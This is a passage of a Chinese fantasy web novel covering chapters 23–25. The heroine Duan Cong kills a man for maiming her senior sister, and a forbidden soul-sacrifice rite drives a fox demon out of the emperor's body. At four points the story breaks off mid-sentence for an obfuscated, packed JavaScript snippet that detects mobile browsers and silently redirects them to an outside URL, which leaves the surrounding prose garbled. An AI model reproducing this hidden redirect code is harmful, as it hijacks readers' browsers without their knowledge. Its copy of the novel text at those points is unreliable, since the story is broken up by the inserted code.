段匆茫然的摇着头,想说不,不是的。但最终她悲哀发现,他说的是对的。 这些人,他们将杀妖当做一场游戏,他们高高在上,将妖怪的生命当做蝼蚁,他们的手上沾满了鲜血。甚至,他们还想要一同杀了她。 可即使如此,在心底深处,她仍是在维护着他们的。 她与他们,是同类。 头开始剧痛起来,段匆慌乱的步步后退。 人们见方才如此轻易便伤到了这只大妖,不免大受振奋,短短片刻,已经准备好下一次进攻。段匆眼看着他们持剑向李刻青而去,又后退了几步,与此同时奇怪的生出了一个要逃走的念头:就让他们去吧。 与她有什么关系? 此念头一出,段匆便霎时觉得轻松了。 对,茫茫人海,陌不相识,谁做了什么事,得到了什么结果,都是他们自己愿意的。与她又有什么关系? 李刻青望着围攻上来的人群,蔑然一笑,周身妖气大盛! 段匆控制不住的大叫一声:“住手!” 她苦涩又嘲弄的笑了一声。 她做不到。她终究无法冷眼旁观。 只是,进攻的人已经陷入兴奋和癫狂,全然听不进她的话。李刻青的法力,段匆早就见识过了,面前这些人绝对不是这样一只大妖的对手,她不能眼睁睁看着他们送死。 “小白,求你住手!” 只是,这次李刻青却不愿听她的话了,冷冷扫她一眼,又移开了视线。 眼见这些人就要死无全尸,段匆厉声道:“李刻青!” 她第一次如此冷肃的叫他的名字,李刻青手一顿,停了下来。 段匆直视着他道:“之前,我问你为什么待我这样好,你说,是因为我前世曾于你有恩。”李刻青眼睫一颤,听得她平静的道:“人死如灯灭,这一世的段匆,早就不是前世帮助过你的那个人了。所以你的回报,我也消受不起。可是如果,你真的想要做些什么的话,那么现在,我斗胆恳求你,放过他们。” “从此之后,就当你彻底还清了前世的一切,你于我再也没有亏欠,你我之间也从此不再有任何纠葛。” 李刻青沉默了很久,冷冷一笑,道:“你我之间的纠葛,又怎是那么轻易就说的清?” 段匆一怔。 却见他当真收手,妖气四盛,逼退要靠近他的人,开出一条路,一步一步离开了这里。 不知为什么,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060175|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样一个背影,明明是邪恶的,可段匆却觉得心里闷闷的难受,像被什么压住,喘不过气来。她看着他捂着肩膀,一步一步离开,那个背影,竟然显得落寞而悲伤。 “上次一别,你的伤养好了吗?”她想问,可张了张嘴,终究没有说出来。 “我们可以走了。”谢蕴低声道。 这猫妖一来一去,倒是为他们打开了那扇通往出口的门。 白泠横死、猫妖与段匆又有这许多瓜葛,对这一切,谢蕴自然觉得惋惜,可是,他此刻更加着急的是皇宫的情形,不知那狐妖会对景琰和司徒月华做出什么来。 他安慰的拍了拍段匆的肩:“没事吧?” “没事,”段匆呼了口气,道:“那我们快走吧。” 不、对了,还有师姐呢? “你们是在找人?”冯兆安忽然道,他此时的声音非常冷静,面容也异常平静。 段匆道:“是,怎么?” 冯兆安跳下看台,从下面的墙壁上摸索到一个开关,旋转了一下。 顿时,又有一扇石门被打开,里面赫然躺着一个头发凌乱的女子。 “有容师姐!”段匆惊道。 只见她的白衣上面血迹斑驳,形容也消瘦了不少,但那一双眼睛,被唤醒后,却仍旧散发着平和而令人安心的明亮光芒。 苏有容咳了几声,看向段匆,愣了一下,道:“师妹……” “可是遇到什么烦心事了?” 段匆眼眶一热,道:“没有,就是没想到你会被藏在这里。” 冯兆安平静道:“她本来是被当做妖怪抓进来的,那时她身上妖气很浓。但我们在杀妖时,发现其实那妖气并不来源于她自己,而是被别有用心之人种植在她身上的。” 苏有容轻声道:“狐妖。” “她被误伤,一直昏迷不醒,我们就将她先安置在了这里。” 这么说来,倒是他们帮了忙了。 段匆道:“多谢。” 然后扶起苏有容,苏有容有些虚弱的跟着她走了几步,忽然想起什么,急切道:“狐妖!” “放心,师姐,狐妖虽狡猾,但待出去之后,我们这么多人对付它……” “不!”苏有容急道:“狐妖附身在了那皇帝身上!” 谢蕴脚步一顿,脸色瞬间就变了。 附身?怪不得,他们并没有发现狐妖的妖气,他竟是将自己的元神俯身在了皇上的身体中!那么现在,他们要对付狐妖就麻烦了,他手中有景琰的身体作为要挟……且不知会用景琰的身体做出什么事! “那、快走,不止皇帝,整个皇城都危险了!”段匆忙小声道,此事先不敢声张,以免造成恐慌。 冯兆安平静的笑了笑,为他们让开出口。 出口的石门大开,有一阵风从外面吹来,将这里的火把吹灭。周遭顿时变得黑暗了许多,段匆扶着苏有容,正急急的迈步,忽然听到一声钝钝的利器划入血肉的声音,随即,她的半边衣衫都被温热的东西浸透。 浓浓的血腥味散发出来。 与此同时,苏有容的身子一软。 段匆茫然无措的试图抓住她,却感到手中空空荡荡,什么也拉不到。 她怔怔的跪在地上摸索,然后……拾到了一只手臂。 冯兆安忽然爆发出一阵大笑,笑的几乎像是癫狂。苏有容忍痛道:“走!” 25. 第23章 “你去干什么了?” “我问你,你去干什么了?”苏有容颤抖着、不可置信的道。 段匆一脸漠然,手握着那把漆黑长剑,有一颗一颗的血珠,从剑尖滴落下来。 “段、匆!”苏有容咬牙道,扇了她一个巴掌。 段匆的神色终于出现变化,眼眶发红,泪水滚落下来。 “我杀人了,师姐。”她道。 她以为,已经死了那么多妖、已经死了那么多人,人与妖彼此亏欠,一切已经够糟了,一切的仇恨也该停止了。可是,冯兆安在恨,他在恨。 她以为自己拯救过他,却没想到他那么恨着她,想要杀了她为白泠报仇。 可是,最后却是苏有容替她挡住了那一剑。 右手臂,一个修行之人握剑的右手!她无法不恨,手中的剑,也仿佛感知她心意,狂躁着、啸鸣着。 她杀了冯兆安。 谢蕴道:“你……怎么能杀得了他?” 段匆的法力他刚才也见识过了,远在冯兆安之下,她怎么可能杀得了他? 段匆摇摇头。 她那时已经被仇恨蒙蔽了头脑,不顾一切的就返了回去,冯兆安见到她,得意又癫狂的大笑,而她……她只感到手中这把剑在那一刻迸发出汹涌的力量,待再次回神时,她已经赢了。冯兆安吐出一口血,跪在地上,而她,终于没有迟疑的将手中的剑穿透了他的胸口。 她赢了。可是,并不觉得愉快。 她一直幻想着能够斩妖除魔、匡扶苍生,但没想到,第一个人死在她剑下的,是人。 段匆睁圆了眼睛,滚滚泪水而下。 “师姐,我……” 苏有容强忍疼痛,平静道:“从此以后,这件事就再也不要再提起了。” “还有,”她看了眼段匆手中那把漆黑的长剑,“这剑是猫妖送你的?” “……是。” “此剑并不简单,但对你却也无害,反而在助你一臂之力。拿着吧。”苏有容道。 段匆点头,眼泪还在默默的流个不停。苏有容顿了一顿,终于还是伸出左手,温和的摸了摸她的头发,叹道:“不哭了。” 段匆眼泪汪汪的擦干了脸。 三人终于穿过石门、走出石廊,尽头处,有光亮传来。他们循着光亮向前,终于,离开这里,来到了地面。 回头看时,他们方才所处的地方竟然是在地下。谢蕴暗暗记下这个位置,想不到皇城之中竟然还有这样以屠戮为乐的场所,日后得闲,他必然要好好整顿清理一番。 谢蕴抬头看了看,他们此时正身处街东,最开始喝胡辣汤的地方。 只是,待看清街东一切,他徒然变色。 明明几天之前,这里还熙攘热闹,和乐融融,可是,如今,这里竟一派死寂与萧瑟。那日他们喝胡辣汤的老伯的店铺,被砸的乱七八糟,门口那块“街东第一汤”的牌子,碎成了好几块。 “这、这是怎么回事……”谢蕴当即觉得一口鲜血涌上来,眼前一黑。 但随即他听到一个苍老的声音道:“……谢尚书?” 谢蕴这才想起自己的伪装早已被折腾的什么都不剩了,他此刻是原原本本谢蕴的模样。他一咬牙,生生将那口鲜血咽回去,定睛一看,发现唤他的正是那胡辣汤老伯。 只是,此刻老伯已完全变了模样,他的胸口,有一道又大又深的伤口,血肉翻卷,整个人卧倒在血泊中,惨的人不忍心看。 “你……”老伯努力睁着双眼,将谢蕴又打量一番。 “你是谢尚书吧?”他颤巍巍的问道。 谢尚书是个好官,清廉,贤明,当时百姓人人都敬爱他,只可惜,后来不知为何,谢尚书忽然就失踪了,从此再也没回来过。谢尚书年轻有为,若是他一直都在,那么今日,官至丞相的就不会是那司徒月华,皇城,也就不会是今日这番模样啊! 谢蕴急道:“老伯,到底怎么了?是皇上做了什么事?” 老伯恨道:“不,是司徒月华。” “妖相,他是妖相!”老伯忽然瞪大眼睛、声色俱厉的喊了这么一句,然而谢蕴再同他说话,他却一句都不回应了。谢蕴颤抖着手探了探他的呼吸,才发现他已经死了。竟是死不瞑目。 谢蕴茫然的站起来,望着周遭一片颓废,充满死寂。 一夕之间,竟然就变成了这副模样。 他忽然提起剑,匆匆的往皇宫的方向赶。 只是走到一半,他被追上来的段匆和苏有容拦住了。 “让开!”谢蕴冷冷道。 段匆急道:“你去干什么?你去皇宫,能赢得了狐妖?更何况现在狐妖躲在那皇上的壳子里,而你不过是一介凡人,他随时都能下令派人来杀了你!” “那至少,我灭了司徒月华。”谢蕴一把推开她。 “他也不过是凡人,他斗不过狐妖也是正常的啊……” 谢蕴冷冷道:“是吗。” 司徒月华,的确是凡人,可他如今身为大黎国的丞相! 方才一路走来,他从街边逃亡的难民处得知,景琰性情大变,短短几天内,大开杀戒。皇城上下人心惶惶,谁也不知道什么时候就会被安上一个莫须有的罪名,然后或被杀,或受尽酷刑、生不如死! 而在背后为他出谋划策、为他挑选出各种各样折磨人的酷刑、为他煽风点火、进献谗言的,正是堂堂大黎国的丞相,司徒月华。 心狠手辣、荒淫无度。妖相。 百姓如今都叫他妖相! 若是他看出了皇帝不对劲,可不仅不积极想办法对付狐妖,反而顺从狐妖,同他一道荒淫无度,那么,他就是个不折不扣的罪人。 而若是,他没有看出皇上被狐妖俯身了,可仍旧以无辜百姓的生命来玩弄、来奉承,那么,他更是黎国的罪人!他有什么资格、有什么脸面来坐在这个丞相之位! “无论如何,司徒月华,都得死。” “不是,你……”段匆急道:“我们还未弄清原委,你别激动。” 谢蕴冷冷道:“因为出事的是我黎国,与你们无关,自然不着急。” 他不想再废话,转身就走,却忽然,后颈一痛,眼前一黑,软软的倒了下来。苏有容在他背后收回手,道:“关心则乱。” 段匆道:“师姐,我们现在怎么办?” “还能怎么办呀!笨死喽!当然是把那狐妖从小皇帝身体里揪出来了!” 段匆:“师、师姐???” 这分明是一个小老头子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060176|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音! 苏有容也奇道:“不是我。” “是我、是我,我在这里!” 这下看到了,她们身边,飞舞着一只莹莹发光的传音灵蝶。只听这灵蝶道:“蓬莱一别,这么快就不认识小老儿了?” 蓬莱…… 段匆仔细一回想,瞬间一拍手:“百草道人!!!” 百草道人十分爽朗欣慰的笑声从灵蝶中传出来。 “道人你不是不会千里传音之术吗?” 灵蝶幽幽叹了口气道:“我人虽老了,但也得努力跟得上时代啊。” 段匆赞许道:“好的。” 又问:“道人你知道将狐妖元神逼出来的办法?” 灵蝶道:“不错。”却忽又叹口气:“只是,这法子乃是禁术。” 段匆一听到“禁术”二字,就觉得不太妙。果然,只听得灵蝶幽幽道:“若只是寻常的妖物附体,只需略施法术,将它的元神赶出去就好。但这只狐妖,老奸巨猾、诡计多端,它俯身在那小皇帝身上,一定不是普通的俯身。” “那是?” “他直接吞噬了那皇帝的魂魄。若是将他的元神强行赶出,那么皇帝也就一命呜呼了。” 段匆道:“所以这种情况,需要怎么做?” 灵蝶道:“生魂献祭。” 段匆一震,虽然早就知道不是什么正派的法子了,但乍然听到,还是后背一冷。 生魂献祭,和狼妖那次一样。 怪不得,禁术之所以为禁术。本就是牵强而无可挽回之事,若是硬不信命、硬要挽回,那就得付出更多的代价来。 灵蝶道:“最好是新杀的人,而且最好,他们临死之前心怀不甘。这样,他们的魂魄之中就会饱含怨气。怨气一时无法纾解,就会疯狂吞噬一切可以吞噬的东西,这其中,就包括狐妖的元神。” “然后呢?” “然后,哼哼,”灵蝶志得意满的道:“你们只需在魂魄怨气大发、吞噬一切时保护好自己与周边百姓,然后待他们将狐妖的元神啃烂、咬碎、恰好露出那小皇帝的魂魄时,出手,将怨气的魂魄们赶走。” 段匆绝望道:“还有别的法子吗?” 灵蝶道:“唉,没有。” 段匆想了想,忽然灵光一现道:“有了!” “哦?什么?” 段匆道:“我们为什么非得救皇上呢,就因为他是皇上,就得牺牲许多个无辜之人的生命?与其这样,我们还不如……” “换个皇上!” 灵蝶啧啧道:“小老儿觉得,此计可行、可行!” “不可。”一个声音淡漠而又坚决的道。 “你醒了?”段匆干笑道。 “早就醒了,一直在听你们说话。”谢蕴淡淡道。 苏有容微微一怔,又淡淡笑了笑。 段匆在一旁默默注意到她的表情。 师姐没了一只手臂,虚弱至此,连敲个人,都敲不晕了。 她心里五味陈杂,总觉得一切都是因她而起。师姐的手臂没了,她杀了那个夺她手臂的人,就算报仇了么? 可是没了的东西,永远都已经没了。 更何况,她杀了冯兆安…… 并不算报仇。 26. 第24章 段匆一时百感交集,不知如何是好。 苏有容看段匆一眼,段匆不动声色的笑一笑。 “你们以为,皇上是谁都能当的?”谢蕴神色冷肃,缓缓说道。 段匆呼口气,道:“那自然不是了。” “只是如今狐妖吃了皇帝的魂魄,要救出他的魂魄,便需要搭上许多无辜之人的生命。相比之下,失去皇帝的损失还是更小一些吧。更何况……” “更何况什么?” 谢蕴声音中有些压抑不住的颤抖,神色充满悲痛,单薄的身子仿佛下一刻就要摇摇欲坠。段匆忙伸手扶他,但他咽下一口气,生生站住了。 段匆小心道:“更何况,你父亲不是曾是丞相吗?司徒月华的父亲,不是曾是帝师吗?朝堂上的事,我不太了解,但我觉得,新扶持一个小皇上,再有帝师教导,丞相辅国,不出十多年,便又是一个新的皇帝了。” 谢蕴闭眼,复又睁开,苦笑:“不是这么容易的。” 当年先皇有七子,七位皇子,无一不对那高高在上的皇位虎视眈眈。 表面上看似风平浪静、太平无事,可黑暗中,大家却不知已经尔虞我诈过多少回,甚至,一个恨不能杀死另一个。当时景琰身为太子,不知吃到过多少回有毒的饭菜、喝到过多少回有毒的酒、被暗剑伤到过多少次、被栽赃嫁祸、谗言弹劾过多少次。 臣者,君为忠。这话自小到大,谢蕴从他那个当丞相的爹口中听的耳朵都起茧子了。 既先皇立的太子是景琰,那么他们,自然也就忠于景琰。 那时景琰不过十二三岁,谢蕴也不过十二三岁,他陪在景琰身边,亲眼看着小太子变得越来越忧郁,越来越沉默,对着一张宣纸,寥寥写几个字,然后就一下午看着这张纸出神。 待晚上他终于被唤去吃饭,谢蕴拿起这纸一看,字迹俊秀工整,一笔一划,写的是“天伦之乐”。 帝王家,少有真心。 后来,谢蕴看着他日渐成长的清秀、高挺,可是,人却也越来越平庸了。 他帮助先皇批奏折,批的一塌糊涂、啼笑皆非;协助先皇理国,理的鸡毛蒜皮、一片琐碎。 先皇眉头紧皱,似是对他越来越不满。 其余六位皇子见此情况,无不心中暗乐,都道先皇是要废太子了。 同时,也渐渐的不把景琰放在心上。 就在这时,先皇病逝。 那一夜,几位皇子起兵至皇宫下,大打出手,自相残杀,而目的,只有一个,就是皇位。景琰虽是太子,但他不配坐这皇位。几位皇子人人都心想,这皇位最适合的人是自己。 可他们谁都没有想到景琰像是换了一个人。 就连谢蕴都没有想到。 那时他已不在朝堂,四处云游捉妖,听闻景琰在一夜之间就平息了几位皇子的逼宫,将他们该杀的杀、该贬的贬,然后又将不支持他的大臣们尽数屠杀,甚至后来,连对他忠心耿耿的那批人都有所防范,日夜监督。 谢蕴愣了很久,才反应过来这是一场多少年的局。 甚至老皇帝的病逝,真的是病逝吗? 他觉得脊背发凉。 有一夜他在外捉妖,被一只蛇精抓伤,心中委屈,于是偷偷回家。没想到恰逢景琰来他们府邸,找父亲谈话。 月色下,新帝身着玄色朝服,负手而立。谢蕴听到他道:“谢相,你可怨朕?” “老臣岂敢对皇上有他想?”父亲的声音,“只是老臣确实年迈昏庸、目眩耳聋,这丞相之位,实在是有心无力、无法再担任下去了。” 新帝似是一笑,可听在人耳中,并不觉得他是在高兴。 他忽然问道:“谢相,祖宗打下一个江山,需要多少年?” 父亲不明所以,说不上来,怔住了。 新帝道:“兢兢业业、励精图治、守得它安稳,需要多少年?” “若是此时发生了战事,战火纷飞、民不聊生,要将这场战争平息下来,需要多少年?待战后,韬光养晦、休养生息,又需要多少年?” 谢蕴周身一震,如遭雷击。 他不得不承认,景琰是对的。 他用短短数天、就平息了朝野纷乱。民间完全没有受到影响,一如既往的太平和乐,风调雨顺。 而若是当初他没能阻止这一切,朝堂四分五裂成许多党派,各为其主,那么,势必会有一仗打起来。这一仗要打得多少年,待仗打完了,又需要多少年,才能重新回到从前的海清何晏呢? 新帝告辞离去,谢蕴望着那个单薄的身影,明明很熟悉,可此刻却无论如何都无法将他和自己年少相识的那个小太子联系起来。 小太子终究是长大了。 “若是景琰出了事,那么,朝堂立马就会重新乱起来。” 段匆怔道:“不是,不是还有你父亲,司徒父亲,这些忠心耿耿的臣子吗?怎么会一下子就乱了呢?” 谢蕴摇头。 人为财死,鸟为食亡。各人为了各人的利益。 这样的道理,在朝堂之上同样是适用的。即使有肱股之臣,也无法阻止党派勾结、战乱迭起的命运。 要有新帝,要争夺权力,就必然会有战争。 而一战之后,皇位依旧是高高在上的皇位,可百姓呢? 谢蕴忽而冷静下来,心中有了决定。 古往今来,青史留名的不只有千古忠臣,还有臭名远扬的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060177|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶人。而如今,这恶人必须有人来做。 谈话间,皇城外已经烟尘滚滚。 一打听,原来是当年的六皇子听闻皇城纷乱,带兵赶来了。 而与此同时,街上一队骑兵匆匆经过,谢蕴看清领头之人,冷冷一笑,拾起一块石子,弹了出去。 石子又准又狠的打在头马身上,头马受惊,两只前蹄高高跃起,将那领头之人掀翻在地。 后面的人见状也纷纷勒住缰绳,乱哄哄的停了下来。 谢蕴微笑:“宋御史,如此行色匆匆,是急着去打开城门吗?” 宋行章气急败坏的从地上爬起来,拍拍身上尘土。看到谢蕴,他愣了一愣,觉得这人又陌生又眼熟……他灵光一现道:“谢尚书!” “哟,这可真是多年未见了!谢尚书近些年安好,怎么当初一声不吭的就走了?” 谢蕴冷笑一声。 宋行章见他这副模样,于是也敛了笑,不再敷衍。 “宋某还有事,先就此别过了。” 谢蕴道:“站住。” 宋行章怒笑:“谢蕴,少管闲事。” “你要去接应景恒?” 宋行章:“我去接应新帝!” “你!” “皇上性情大变,肆意生杀,如今皇城百姓人人自危,苦不堪言。这样的皇帝,还要他何用?” 待六皇子景恒进了城,必然会有一番争斗。而当年,还有未被杀的四皇子,也必然又卷兵重来,到时,争夺皇位的战争一旦打起来,怕就不是那么容易终止的了。 谢蕴道:“我不可能让你去。” 忽然,一阵长鸣的钟声从皇宫的方向穿透过来。这是……逐鹿台! 先皇好打猎,但因政务繁忙,难得有出宫的机会。 于是当年,他在宫内修建一逐鹿台,将野外猎物关入此台中,而后换上戎装,执起弓箭上台。这一钟声,便是狩猎开始的信号。 只是,先皇故去后,景琰登位,他与先皇不同,并不喜打猎,于是逐鹿台也就空置许多年。 也许多年,这钟声都没有响起过了。 如今这是怎么了? 段匆来到宋行章身边,重重一击将他打晕。他手下那队人顿时面面相觑。 谢蕴道:“不要开城门,告诉赵将军,守好城门。” 这队人疑惑有之、信赖有之、不服亦有之,心怀鬼胎,恐怕难以从命。苏有容神色淡淡,直接朝他们画了一个安眠咒,于是,这群人立即倒下来,呼呼大睡了。苏有容道:“我去找赵将军。” “你们去皇宫。” 段匆有些担忧的瞧向谢蕴,欲言又止,谢蕴一笑道:“放心,我不会再冲动了。” 27. 第25章 怨…… 怨! 死人,怨气,亡魂,吞噬! 段匆也几乎和他在同一时间反应过来,大叫道:“都远离逐鹿台!!!谢蕴,我们把它封起来!!!” 狐妖以其人之道还治其人之身,在天底下最尊贵的地方,堂堂正正的、光明正大的,一个一个猎杀掉逐鹿台中平凡百姓的性命。 他们或哀求、或怒骂、或恐惧、或狂怒,但无论如何,他们都躲不过在煎熬的绝望中死亡的命运。狐妖射出最后一箭,在满地狼藉与鲜血中,得意的哈哈大笑。 只是可惜,她没有亲眼见到这一幕。 捉妖世家?守护百姓?那又如何,他会一点一点夺走她所在乎的东西,就像当年她家里人轻飘飘夺走他心爱女子的性命一样。 忽然之间,狐妖表情凝固了。 四周阴风冷嗖嗖的刮起来,他好像听到了亡魂恶毒的咒骂和咆哮。狐妖急急奔向那扇门,用力一拉——门顺利打开了,可是,他却出不去,有结界将他困在了里面! 忽然一阵钻心的疼痛,狐妖惨叫出声。 外面,百姓和朝臣们都已躲入议殿内,只有司徒月华仍站在阶梯下,隔着那扇门,静静的注视着狐妖。 狐妖明白了,彻底明白了:“司徒月华,你胆敢欺瞒朕!”他忽然意识到这样并不能激怒司徒月华,于是瞬间又冷笑起来:“你身为大黎国的丞相,不惜屠杀无辜之人,还设此禁术,让他们死后还要为人所用、无法安息,哈哈哈哈哈哈哈,哈哈哈哈哈哈哈,”他慢条斯理道:“司徒,你可当真是我的好丞相。” 段匆撑着结界,道:“狐妖,你闭嘴吧!” 逐鹿台内,亡魂已经争先恐后的朝狐妖的元神撕咬过来。 按理说,人死后,便会失去记忆,魂魄茫然一阵之后,便会悠悠然飘向黄泉,等待再次投胎为人。 可如今,这些魂魄却被禁术强行挽留了下来。它们生前饱含怨恨,可却又死活想不起来那怨到底是什么,于是更加狂躁,将所有愤怒都发泄到了这里唯一的一个活人身上。 而很妙的是,由于他们是魂魄,早已与活人阴阳两隔,故而,他们是伤不了景琰的身体的,他们攻击的,恰恰是景琰的魂魄,而如今魂魄被狐妖的元神所吞噬包裹,那么,他们就会首先撕咬狐妖的元神! 狐妖的元神被咬的伤痕累累,他发疯的一掌一掌击出、试图拍碎这个结界。 段匆和谢蕴两人在外,苦苦支撑。 灵蝶扇着翅膀:“加油,努力,再加把劲!” “……道人你下完棋了?” “嘿嘿,还不急,我看你们正好到紧要关头,为你们打个气。” 打气?谢蕴简直气不打一处来:“老头,你能不能给点实质性的帮忙?” “这个嘛,小老儿不会啊。” 若只是一个狐妖,两人还是足以对付的,但是现在,里面的魂魄在撕咬狐妖的同时,也在无差别的疯狂撞击着结界。所以,段匆和谢蕴撑的的确是十分费力。 谢蕴咬牙咬到极限,终于还是撑不住了,指尖蓝莹莹的灵光弱了下去,吐出一口血。 段匆急道:“你没事吧……” 话未说完,自己也胸口一闷,吐了一口血出来。 “灵蝶不能传输法力。”李刻青忽然道。 百草道人疾呼:“你去哪里?” 段匆心里一咯噔,忙道:“道人你不要让他来!”他若是出现在这皇城,必然又掀起一场腥风血雨。那边百草道人哼哼哈哈一阵:“行了,捉住了,小老儿让他睡着了。” 段匆嗯一声,擦了擦嘴角的血,忽然扑哧一笑。 谢蕴要抓狂了:“你、你笑什么?我们没人帮忙就这么有趣吗?” 呃……“当然不是了!!!”段匆十分诚恳道。 她笑,只是因为发现他上次虽生气,却还是在乎着她的,方才他的声音虽然听起来十分冷漠,但还是被她捕捉到了那么一丝压抑不住的担心。总之,段匆心情大好。 但是,结界的情况就不那么好了。 狐妖眼见有希望,更加卖力抓狂的拍打,同时魂魄们也争先恐后的冲过来……就在差点支撑不住、摇摇欲坠时,忽然飞奔过来两个熟悉的影子。 结界瞬间被加固了。 “师兄,师妹。”段匆长吁一口气,“你们来了。” 周浮生尴尬一笑,神情颇为不自在。宁芙倒是一如既往,温柔而无害的一笑。 谢蕴本疑惑那夜为什么狐妖放过了他们,还有当日段匆所中的毒……但转念一想,段匆曾说过她自有打算,更何况,他与他们不是同一师门,到底算是个外人。于是也沉默不语,什么都没有过问。 终于,狐妖受不住了,嘶声哀叫起来,发出真正的狐的叫声。 “就是现在!景琰的魂魄露出来了!” 段匆忙进入结界,掌心化出一团火,烧退狰狞的魂魄,同时将景琰带出了结界。谢蕴立马接住景琰,急切唤道:“皇上?” 狐妖残破的元神趁此机会,飞速逃窜了出去。段匆当然不会再给他逃脱的机会,追了上去。 “狐妖,不要再逃了,你今天必死无疑!” “是吗?”跌跌撞撞的元神忽然停了下来,化出他的实体。 狐狸,果真是十分虚荣的动物。 只见这只狐妖一身雍容华贵的紫衣,一头墨发,发冠上点缀着最华丽的宝石。一双邪气又多情的桃花眼上挑,使他整只妖都散发着一种香艳的气质。 “俗气。”段匆不屑道。 话音刚落,她掌心灵光闪现,朝着狐妖的胸口拍去。 忽然之间,她听到一个很缥缈的歌声从远处传来,像是呓语,像是呢喃。 “我的头……”段匆渐渐蹲在地上,神情痛苦。 周遭的一切迅速褪去,视线黑暗下来,一个高大的身影笼罩住她。段匆抬头,看到面无表情的冯兆安,他的白衣已经被鲜血浸透,一双眼睛漆黑仇恨,看起来可怖极了。 “为什么杀我?” “回答我!为什么杀我!” “因为你心中只有仇恨!!!”段匆在地上,步步后退,掌心中蹭满湿漉漉的泥土,泛着淡淡的红。泥土中混了血。 “是你先杀了白兄,是你,与妖怪为伍。”他不依不饶的步步紧逼。 “你就没有错吗?你将妖怪的生命当做一场狩猎,你砍了我师姐的手臂,你也有错!!!”段匆抱着头,崩溃大喊。忽然之间,她听到师姐的声音焦急唤道:“师妹!是狐妖!” 段匆霎时一个激灵。 冯兆安还在逼近,她找准时机,握紧手中剑,然后在他弯腰、伸手要抓住她时,一剑刺出。 冯兆安顿时消失,周围重新变得明亮起来。 狐妖狡猾奸险,果然擅长迷人心智。 可是,不对,仍旧不对! 他们此刻明明应该在皇宫,可是眼前……却是一片长满了半人高荒草的坟地,一只乌鸦怪叫一声,段匆吓了一跳。 “快,快跑!” 说话的这个……是狐妖!只是,他与现在有些差别,神情容貌,竟然显得有些青涩……段匆忽然反应过来了,这是狐妖尚且年轻时! “快呀,他们快追上来了!”狐妖焦急道。 “不……” 说话的女子虽美丽,却脸色十分苍白。她虚弱道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060178|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我受伤了,我跑不动了。” “我背你走,来,我背着你!” “不!华容,那样我们都会死的。” “我不管!”狐妖红着眼睛道。 女子沉默片刻,道:“好。” 她顺从的趴到狐妖背上,狐妖背着她,跌跌撞撞的逃跑。忽然,他身形一僵,停下来不动了。 女子从他背上跳下来,把他放到一丛荒草中藏了起来。 狐妖动不了、也说不出来话,只能将眼睛瞪的很大很大,流泪,哀求。女子绝望而美丽的最后一次亲吻他的额头:“他们还没有发现你,我不能害了你。” 不,不不不不不不不不不不!!!!! 狐妖无声的流着泪,可却好像有一个声音在撕心裂肺的吼叫,段匆心口颤动,不由后退了两步。 “捉到了!”中年男子爽朗道。 那女子被他杀死,化出狐狸的原身,竟还是一只白狐,皮毛雪白光滑。 中年男子摸了摸这皮毛,向一旁的妻子道:“成色不错。” “那便给有容做条围巾吧,正好,天也冷了。”另一个年轻的男子玩笑道。 他二人长相十分相似,且气质都十分的正派潇洒……看来是一对父子。 “哥!” 这是……尚且年少的有容师姐。 她这时神情竟这样娇憨天真,与现在判若两人。 有容师姐愠怒道:“你知道我不想这样,你就是故意的!” 她兄长笑呵呵:“不是哥说你,你说咱们也算是有点名气的捉妖世家,你作为咱们家的大小姐,于捉妖一事,多少也得沾点‘皮毛’吧。” 苏有容执拗道:“我不要!” 她转向地上死去的白狐,叹口气,不忍道:“她家里,也有爱她惦她的父母兄长吗?” “妖怪怎会如人?”苏有容父亲大笑道,继而很麻利的剥了白狐的皮毛,苏有容震撼道:“爹!我说了我不要围巾,你干什么!” 苏有容父亲道:“你不要,我给你娘做。” 苏有容母亲嘴角弯弯,温婉一笑。 一家人走远了,荒草浮动,狐妖咬着牙、从中慢慢的爬了出来。 他围绕已经血肉模糊、不成样子的白狐走了好几圈,似乎是不可置信,又像是不敢面对,直到天快亮了,他才终于下定决心将她掩埋起来。 最后一抔黄土推下,狐妖低下头,大叫起来。 